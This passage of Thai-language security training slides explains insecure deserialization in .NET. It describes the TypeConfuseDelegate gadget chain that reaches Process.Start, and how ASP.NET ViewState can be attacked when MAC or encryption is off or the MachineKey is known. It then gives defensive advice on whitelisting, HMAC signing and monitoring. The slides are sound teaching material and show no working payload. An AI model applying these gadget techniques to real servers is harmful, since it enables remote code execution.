  • 73. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 73 วิธีแกไขชองโหว Insecure Deserialization (Java) 5 6 *** วิธีนี้ แกไดเฉพาะปองกันการปองกัน การ deserialize คา Object นอกเหนือจากที่เรา whitelist ไว (ที่เราเรียกวา gadget) แตไมได ปองกันการแกไข attribute ของ Object ของ class ที่เรายอมให deserialize ได (ที่อยูใน whitelist) ดังนั้น จึงตองทํา input validation กับคาใน Object ที่รับเขามา ควบคูกันไปดวย
  • 74. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 74 Insecure Deserialization (.NET) Many types built into .NET framework have code that will run just because they are instantiated. The example of .NET magic methods: - Constructors - OnDeserialize Handlers - Setters / Getters - Destructors
  • 75. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 75 .NET Serialization Gadget Start with an easy gadget: TempFileCollection Read this by yourself if you dare: https://github.com/microsoft/referencesource/blob/master/System/compmod/system/codedom/compiler/TempFiles.cs#L34
  • 76. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 76 .NET Serialization Gadget Start with an easy gadget: TempFileCollection Controllable Object Attributes This gadget cannot RCE Delete Temp Directory in Destructor Method
  • 77. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 77 .NET Serialization Gadget Make it harder: TypeConfuseDelegate This is too hard. Read it yourself please: https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html ใชไดยัน .NET Framework เวอรชั่นลาสุด
  • 78. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 78 .NET Serialization Gadget Make it harder: TypeConfuseDelegate We have 3 friends as follows: - ComparisonComparer - MulticastDelegate - SortedSet 1 2 3 4
  • 79. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 79 .NET Serialization Gadget Make it harder: TypeConfuseDelegate ComparisonComparer class SortedSet class Process::Start(Executable, Args) ?? 1 2 เราจะเรียก... 4 3 ตรง ๆ ไมไดเพราะตอง Comparison Type
  • 80. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 80 .NET Serialization Gadget Make it harder: TypeConfuseDelegate MulticastDelegate Fields: - _invocationList - _invocationCount - ... ComparisonA(A, B) ComparisonB(A, B) ComparisonC(A, B) Replace this delegate with Process::Start(Executable, Args) 1 2 3
  • 81. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 81 .NET Serialization Gadget Let test TypeConfuseDelegate gadget Demo Video: demo3_typeconfusedelegate.flv
  • 82. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public ViewState 82 _VIEWSTATE value will be deserialized with ObjectStateFormatter to be ViewState object.
  • 83. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 83 ViewState Security Configuration EnableViewStateMac ) https://en.wikipedia.org/wiki/Message_authentication_code viewStateEncryptionMode คือการเขารหัส viewstate ดวย MachineKey MachineKey คือ key ที่ใชในการเขารหัส ถอดรหัส ตรวจสอบ ความถูกตองของ forms-authentication และ viewstate key จะอยูใน web.config หรือ machine.config
  • 84. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public ชองโหวที่เกี่ยวของกับ ViewState EnableViewStateMac=false, viewStateEncryptionMode=false HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFrameworkv4.0.30319 viewStateEncryptionMode จะถูกตั้งเปน false เปนคา default ถาหาก EnableViewStateMac หรือ viewStateEncryptionMode ถูกเปด จําเปนตองใช MachineKey ในการ โจมตี 84 Web.config
  • 85. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public ตรวจสอบ ViewState ดวย Burp Suite 85 ViewState MAC is Disabled ViewState MAC is Enabled ViewState MAC is Encrypted
  • 86. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 86 ลองแฮก ViewState ดวย Insecure Deserialization Let hack Insecure ViewState Serialization with TypeConfuseDelegate Gadget Demo Video: demo4_viewstate.flv
  • 87. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 87 Key Takeaways #1 Do NOT Deserialize Untrusted Data #2 Logging and Monitoring
  • 88. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 88 #1 Do NOT Deserialize Untrusted Data - ใช Data Format ที่ Deserialize แลว.. คอนขางปลอดภัย (จาก magic function ตาง ๆ) * JSON*** (?) XML*** (?) Protobuf ถาตองการใชอยางเลี่ยงไมไดจริง ๆ ... - Deserialize เฉพาะคา serialized object ที่ sign มาถูกตอง (ใช HMAC) - Deserialize เฉพาะบาง object ที่เรา whitelist ไว ดวยวิธี look-ahead - ทํา Input Validation กับ คา property ของ Object ที่รับเขามา วาถูกตองเหมาะสม
  • 89. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 89 #2 Logging and Monitoring - เก็บ log การกระทําสําคัญในระบบ - เขาระบบ, ออกระบบ ของ admin - โอนเงิน, จายเงิน, เปลี่ยนรหัสผาน ฯลฯ - เปลี่ยน log ทุก 60 - 90 วัน - ตั้งการ alert เมื่อเกิดเหตุการณไมปกติใน log - เกิด error ในการทํา deserialization เยอะ ๆ - มี process ประหลาดโผลมา (EDR ?) - ...
  • 90. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public สําหรับ Pen-Tester หรือ Security Tester 90 https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsh eets/Deserialization_Cheat_Sheet.md https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet https://github.com/frohoff/ysoserial https://github.com/pwntester/ysoserial.net
  • 91. Any Question ? Contact us: pentest@sth.sh OWASP Thailand Chapter: https://www.facebook.com/groups/owaspthailand/ บจก.สยามถนัดแฮก